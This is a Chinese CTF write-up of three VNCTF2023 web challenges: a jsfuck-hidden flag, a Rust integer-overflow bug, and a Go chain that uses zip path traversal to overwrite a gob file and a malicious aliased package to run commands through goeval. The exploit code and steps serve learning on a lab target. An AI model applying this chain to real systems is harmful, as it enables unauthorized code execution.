VNCTF2023WEB复现 这个 VNCTF2023 的 web 有点考查新人学习能力的意思,出的都是不是很常规的题,出的 js,rust 和 go,为什么出的不是 python,php 和 java!虽然已经是 VN 的队员了,但依照惯例还是来做做这个招新赛,有一说一,学到了挺多知识,rust 和 go 都从0到0.1了。
WEB 象棋王子 传统 js 题,这种给你个小游戏的一定是 js 题,总之就是要找到获得 flag 的逻辑。
找逻辑可以先输一遍,看看会输出什么提示,再根据这个去快速定位代码,
我们可以根据这行字快速定位最后的判断逻辑,但是有个小问题:很多时候 js 打开中文是乱码,可以点击火狐的修复编码,再查。
这里查到是一个 jsfuck 编码,直接控制台运行就行。
电子木鱼 这是一道 rust 题,需要有基础的 rust 语言知识,其实也不用有多少 rust 语言知识,考的点也不是 rust 的特性,考的是数据溢出。
分析一下关键的代码:
请求 / 时候的处理 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #[get("/" )] async fn index (tera: web::Data<Tera>) -> Result <HttpResponse, Error> { let mut context = Context::new (); context.insert ("gongde" , &GONGDE.get ()); if GONGDE.get () > 1_000_000_000 { context.insert ( "flag" , &std::env::var ("FLAG" ).unwrap_or_else (|_| "flag{test_flag}" .to_string ()), ); } match tera.render ("index.html" , &context) { Ok (body) => Ok (HttpResponse::Ok ().body (body)), Err (err) => Err (error::ErrorInternalServerError (err)), } }
可以看到当我们的功德大于1000000000的时候就可以得到 flag 。
使用 post 请求 /upgrade(获得功德的关键)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #[post("/upgrade" )] async fn upgrade (body: web::Form<Info>) -> Json<APIResult> { if GONGDE.get () < 0 { return web::Json (APIResult { success: false , message: "功德都搞成负数了,佛祖对你很失望" , }); } if body.quantity <= 0 { return web::Json (APIResult { success: false , message: "佛祖面前都敢作弊,真不怕遭报应啊" , }); } if let Some (payload) = PAYLOADS.iter ().find (|u| u.name == body.name) { let mut cost = payload.cost; if payload.name == "Donate" || payload.name == "Cost" { cost *= body.quantity; } if GONGDE.get () < cost as i32 { return web::Json (APIResult { success: false , message: "功德不足" , }); } if cost != 0 { GONGDE.set (GONGDE.get () - cost as i32 ); } if payload.name == "Cost" { return web::Json (APIResult { success: true , message: "小扣一手功德" , }); } else if payload.name == "CCCCCost" { return web::Json (APIResult { success: true , message: "功德都快扣没了,怎么睡得着的" , }); } else if payload.name == "Loan" { return web::Json (APIResult { success: true , message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖" , }); } else if payload.name == "Donate" { return web::Json (APIResult { success: true , message: "好人有好报" , }); } else if payload.name == "Sleep" { return web::Json (APIResult { success: true , message: "这是什么?床,睡一下" , }); } } web::Json (APIResult { success: false , message: "禁止开摆" , }) }
前面的 payloads 里面定义了五种行为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const PAYLOADS: &[Payload] = &[ Payload { name: "Cost" , cost: 10 , }, Payload { name: "Loan" , cost: -1_000 , }, Payload { name: "CCCCCost" , cost: 500 , }, Payload { name: "Donate" , cost: 1 , }, Payload { name: "Sleep" , cost: 0 , }, ];
当功德小于消耗的时候就无法减,而这里将 cost 转为了i32(其实和 java 的 int 范围一样),cost 太大会发生溢出,导致 cost 变成负数,进而使得功德变成一个超大数,从而得到 flag 。
但是也需要注意这个 quantity 不要过大,否则 quantity 先溢出了。
这个 rust 其实还是比较好懂的,不涉及多少 rust 的特性,会传参就行,M1师傅还是手下留情了。
Baby Go 这是一道 go 题,需要有基础的 go 语言知识,可以先看看下面这个教程了解一下
https://www.runoob.com/go/go-tutorial.html
GO语言基础知识 这里记录一些重点。
基础组成
Go 语言的基础组成有以下几个部分:包声明,引入包,函数,变量,语句 & 表达式,注释
可以通过一个简单的输出 Hello World 的代码来看看这些基础组成具体的表现形式。
1 2 3 4 5 6 7 package main import "fmt" func main () { fmt.Println("Hello, World!" ) }
导出
当标识符(包括常量、变量、类型、函数名、结构字段等等)以一个大写字母开头,如:Group1,那么使用这种形式的标识符的对象就可以被外部包的代码所使用(客户端程序需要先导入这个包),这被称为导出(像面向对象语言中的 public);标识符如果以小写字母开头,则对包外是不可见的,但是他们在整个包的内部是可见并且可用的(像面向对象语言中的 protected )。
可以使用 go run hello.go
来执行代码,也可以使用 go build hello.go
来生成二进制文件。当然也可以使用 GoLand 配置好 sdk 然后一键执行。
在 Go 程序中,一行代表一个语句结束。每个语句不需要像 C 家族中的其它语言一样以分号 ; 结尾。
变量
声明变量的一般形式是使用 var 关键字:var v_name v_type
注意这里变量类型是放在变量名后面的,也可以不指定变量类型直接赋初始值,会根据值自行判定变量类型。
声明变量并赋初始值的另一种方式:v_name := value
,这种方式是下面这两行的简写。
1 2 var intVal int intVal =1
出现在 := 左侧的变量不应该是已经被声明过的,否则会导致编译错误。另外可以像 python 一样同时进行多变量的声明。
go 语言中也有类似 C 语言的指针,通过 & 来获得变量的地址。常量就是前面加个 const 。
函数定义
1 2 3 func function_name ( [parameter list] ) [return_types] { 函数体 }
如果没有返回值,return_types 就不用写。如果有多个返回值,可以以元组形式返回。
数组
Go 语言数组声明需要指定元素类型及元素个数,语法格式:var arrayName [size]dataType
或者numbers := [5]int{1, 2, 3, 4, 5}
数组长度不确定可以使用 ...
来代替数组长度,go 会自动根据元素个数推断。
结构体
结构体定义需要使用 type 和 struct 语句。struct 语句定义一个新的数据类型,结构体中有一个或多个成员。type 语句设定了结构体的名称。结构体的格式如下:
1 2 3 4 5 6 type struct_variable_type struct { member definition member definition ... member definition }
定义好结构体之后就可以使用这个结构体来声明变量,语法格式如下:variable_name := structure_variable_type { key1: value1, key2: value2..., keyn: valuen}
好了,了解了这些基础知识,就可以开始看这题了,等一下解题过程中有新东西再解释一下。
源代码分析 由于源代码挺长的,我们可以按照路由分开来分析:
准备工作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package mainimport ( "encoding/gob" "fmt" "github.com/PaulXu-cn/goeval" "github.com/duke-git/lancet/cryptor" "github.com/duke-git/lancet/fileutil" "github.com/duke-git/lancet/random" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "net/http" "os" "path/filepath" "strings" ) type User struct { Name string Path string Power string } func main () { r := gin.Default() store := cookie.NewStore(random.RandBytes(16 )) r.Use(sessions.Sessions("session" , store)) r.LoadHTMLGlob("template/*" )
这些代码主要是做了声明包,引入包,定义结构体,然后主函数中创建了一个默认的 Gin 路由引擎,配置中间件来存储 cookie 和 session,接着从 template 文件夹下面加载了 HTML 模版,总的来说就是为下面的路由分发做准备工作。
/
路由
逐行注释由 GPT 提供:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 r.GET("/" , func (c *gin.Context) { userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~" ) + "/" session := sessions.Default(c) session.Set("shallow" , userDir) session.Save() fileutil.CreateDir(userDir) gobFile, _ := os.Create(userDir + "user.gob" ) user := User{Name: "ctfer" , Path: userDir, Power: "low" } encoder := gob.NewEncoder(gobFile) encoder.Encode(user) if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob" ) { c.HTML(200 , "index.html" , gin.H{"message" : "Your path: " + userDir}) return } c.HTML(500 , "index.html" , gin.H{"message" : "failed to make user dir" }) })
整体看,r.GET
方法用于处理 GET 请求,接收的第一个参数就是路由 / ,表示当 GET 请求路由 / 的时候使用该方法处理,而第二个是具体处理请求的函数(一个回调函数),这个函数的参数 c *gin.Context
是一个指向 gin.Context
类型的指针,变量名是 c 。gin.Context
是Gin框架中一个非常重要的结构体,它封装了一个周期内的请求和响应,并提供一些用于处理HTTP请求的方法和字段(有点像 asp 里的 Request 对象)。
c.Request
和 c.Writer
分别提供对原始的HTTP请求和响应的访问。
c.Param(name string)
可以获取路径参数。
c.Query(key string)
和 c.PostForm(key string)
可以获取查询字符串和表单数据。
c.JSON(code int, obj interface{})
和 c.HTML(code int, name string, obj interface{})
可以发送JSON和HTML响应。
这个方法的主要逻辑就是创建了一个 user.gob 文件,并写入了用户的信息,存储在了用户目录下。
/upload
路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 r.GET("/upload" , func (c *gin.Context) { c.HTML(200 , "upload.html" , gin.H{"message" : "upload me!" }) }) r.POST("/upload" , func (c *gin.Context) { session := sessions.Default(c) if session.Get("shallow" ) == nil { c.Redirect(http.StatusFound, "/" ) } userUploadDir := session.Get("shallow" ).(string ) + "uploads/" fileutil.CreateDir(userUploadDir) file, err := c.FormFile("file" ) if err != nil { c.HTML(500 , "upload.html" , gin.H{"message" : "no file upload" }) return } ext := file.Filename[strings.LastIndex(file.Filename, "." ):] if ext == ".gob" || ext == ".go" { c.HTML(500 , "upload.html" , gin.H{"message" : "Hacker!" }) return } filename := userUploadDir + file.Filename if fileutil.IsExist(filename) { fileutil.RemoveFile(filename) } err = c.SaveUploadedFile(file, filename) if err != nil { c.HTML(500 , "upload.html" , gin.H{"message" : "failed to save file" }) return } c.HTML(200 , "upload.html" , gin.H{"message" : "file saved to " + filename}) })
这就是一个很普通的文件上传页面,值得注意的是这里禁止上传 .gob
和 .go
后缀的文件。
/unzip
路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 r.GET("/unzip" , func (c *gin.Context) { session := sessions.Default(c) if session.Get("shallow" ) == nil { c.Redirect(http.StatusFound, "/" ) } userUploadDir := session.Get("shallow" ).(string ) + "uploads/" files, _ := fileutil.ListFileNames(userUploadDir) destPath := filepath.Clean(userUploadDir + c.Query("path" )) for _, file := range files { if fileutil.MiMeType(userUploadDir+file) == "application/zip" { err := fileutil.UnZip(userUploadDir+file, destPath) if err != nil { c.HTML(200 , "zip.html" , gin.H{"message" : "failed to unzip file" }) return } fileutil.RemoveFile(userUploadDir + file) } } c.HTML(200 , "zip.html" , gin.H{"message" : "success unzip" }) })
一个很普通的解压页面,不对,为什么这种地方会有解压?!这似乎在暗示我们上传压缩包,并且可以指定解压到的路径,这就可以实现任意文件上传到任意位置,不再受文件上传页面的限制。
/backdoor
路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 r.GET("/backdoor" , func (c *gin.Context) { session := sessions.Default(c) if session.Get("shallow" ) == nil { c.Redirect(http.StatusFound, "/" ) } userDir := session.Get("shallow" ).(string ) if fileutil.IsExist(userDir + "user.gob" ) { file, _ := os.Open(userDir + "user.gob" ) decoder := gob.NewDecoder(file) var ctfer User decoder.Decode(&ctfer) if ctfer.Power == "admin" { eval, err := goeval.Eval("" , "fmt.Println(\"Good\")" , c.DefaultQuery("pkg" , "fmt" )) if err != nil { fmt.Println(err) } c.HTML(200 , "backdoor.html" , gin.H{"message" : string (eval)}) return } else { c.HTML(200 , "backdoor.html" , gin.H{"message" : "low power" }) return } } else { c.HTML(500 , "backdoor.html" , gin.H{"message" : "no such user gob" }) return } }) r.Run(":80" )
可以看到是对 user.gob 里面的 Power 进行验证,如果是 admin ,就可以走到 goeval ,结合前面的分析很容易得知我们要做的就是自己上传一个 user.gob ,把原来那个自动生成的覆盖掉。由于上传的限制,需要先上传压缩包,再解压到用户目录下,先自己写一个生成 user.gob 的 go 代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package mainimport ( "encoding/gob" "os" ) type User struct { Name string Path string Power string } func main () { user := User{ Name: "pazuris" , Path: "test" , Power: "admin" , } file, err := os.Create("user.gob" ) if err != nil { panic (err) } defer file.Close() encoder := gob.NewEncoder(file) err = encoder.Encode(user) if err != nil { panic (err) } }
运行之后就有 user.gob 了,压缩上传解压,注意解压的路径输入的是 ../
这样就可以跳出 upload 目录,到用户的目录下。访问 backdoor ,发现页面出现 good ,说明代码执行了。
下一步就是利用这行代码来执行我们自己的代码 :eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
简单说明一下这个 goeval.Eval
:
goeval.Eval
是goeval
库中的一个函数,它用于执行Go语句。这个函数接收三个参数:
第一个参数是一个可选的代码片段名,这里传递的是空字符串。
第二个参数是需要执行的Go语句,这里是fmt.Println("Good")
,也就是在控制台打印出字符串”Good”。
第三个参数是一个包的名字,这里是c.DefaultQuery("pkg", "fmt")
,表示默认使用fmt
包。c.DefaultQuery
是Gin框架中的一个方法,它从查询字符串、表单或JSON中获取一个参数,如果没有找到该参数,就返回一个默认值。
可以看到关键是第二第三条语句,第二条语句写死了执行的是包 fmt 的 Println 方法,第三条语句用来指定 goeval.Eval
执行的代码应该引入哪个包,如果我们没有通过 pkg 参数传递,就默认引入 fmt 包。
由于我们可以控制的只有引入的包,那我们可以导入一个恶意的包,里面重写了 Println 方法,从而达到代码注入的效果,可是第二条语句要求的是包 fmt ,这时候要想到 go 语言的包别名知识,通过在 pkg 位置传入 fmt evil
,就可以将 evil 包的别名设为 fmt ,从而实际执行的是 evil.Println 。包需要上传到相应的目录下才能够引入,先随便在 pkg 位置输点,通过报错看出目录(其实试常见的包目录也可以)
可以看到,我们需要上传到 /usr/local/go/src/evil 下面,先写一个恶意包(其实只需要往包目录上传一个 go 源文件就行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package evilimport ( "fmt" "os/exec" ) func Println (a string ) { _ = a cmd := exec.Command("cat" , "/ffflllaaaggg" ) out, _ := cmd.CombinedOutput() fmt.Println(string (out)) }
记得接收一下原来传进来的那个 string ,不然会报错。解压上传:
多向上跳两层保证到根目录,然后输入路径。访问 backdoor 输入别名得到 flag。
如果不想上传解压两次,可以上网查 go 反弹 shell ,操作一样的。另外还有另一种方法是基于 Eval 源码进行 goeval 逃逸,可以参考 pop 的 wp。主要就是闭合 import ,然后构建一个 init 方法,因为它会比 main 函数更先执行。
https://boogipop.com/2023/03/02/VNCTF2023/
这道题烨师傅出的,出得挺好,虽然不是很难,但是可以锻炼到新人的学习能力,而且做完这道题能学到不少 go 的知识,算是超值!